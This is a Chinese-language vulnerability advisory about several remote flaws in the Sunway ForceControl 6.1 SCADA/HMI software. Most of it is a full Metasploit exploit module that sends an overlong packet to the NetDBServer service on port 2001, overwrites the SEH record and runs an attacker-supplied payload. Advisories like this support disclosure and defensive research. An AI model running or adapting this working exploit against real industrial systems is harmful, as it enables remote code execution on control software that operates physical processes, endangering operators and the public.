Sunway ForceControl多个安全漏洞

Sunway ForceControl多个安全漏洞

发布日期：2011-09-23
更新日期：2012-02-03

受影响系统：
Sunway ForceContro 6.1 SP3
Sunway ForceContro 6.1 SP2
Sunway ForceContro 6.1 SP1
描述：
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BUGTRAQ  ID: 49747

Sunway ForceControl是中文的SCADA/HMI软件。

ForceControl在实现上存在多个安全漏洞，远程攻击者可能利用此漏洞在目标系统上执行任意代码，检索服务器根目录外的任意文件，造成拒绝服务。

<*来源：Luigi Auriemma （aluigi@pivx.com）
 
  链接：http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt
*>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Luigi Auriemma （aluigi@pivx.com）提供了如下测试方法：

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57',
            'Description'    => %q{
                    This module exploits a stack based buffer overflow found in the SNMP
                NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is
                triggered when sending an overly long string to the listening service
                on port 2001.
            },
            'Author'         => [
                        'Luigi Auriemma', # original discovery
                        'Rinat Ziyayev',
                        'James Fitts'
                    ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'BID', '49747' ],
                    [ 'URL', 'http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'DisableNops' => 'true',
                    'BadChars' => "\x0a\x0d\xae",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        # p/p/r ComDll.dll
                        'Windows', {  'Ret' => 0x100022c4 }
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Sep 22 2011'))
        register_options(
            [
                Opt::RPORT(2001)
            ], self.class )
    end
    def exploit
        connect
        header =  "\xeb\x50\xeb\x50"
        header << "\x57\x00"  # packet type
        header << "\xff\xff\x00\x00"
        header << "\x01\x00"
        header << "\xff"
        footer = "\r\n"
        packet = rand_text_alpha_upper(65535)
        packet[0,header.length] = header
        packet[293,8] = generate_seh_record(target.ret)
        packet[301,20] = make_nops(20)
        packet[321,payload.encoded.length] = payload.encoded
        packet[65533,2] = footer
        print_status("Trying target %s..." % target.name)
        sock.put(packet)
        handler
        disconnect
    end
end

建议：
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厂商补丁：

Sunway
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.sunwayland.com.cn/pro.asp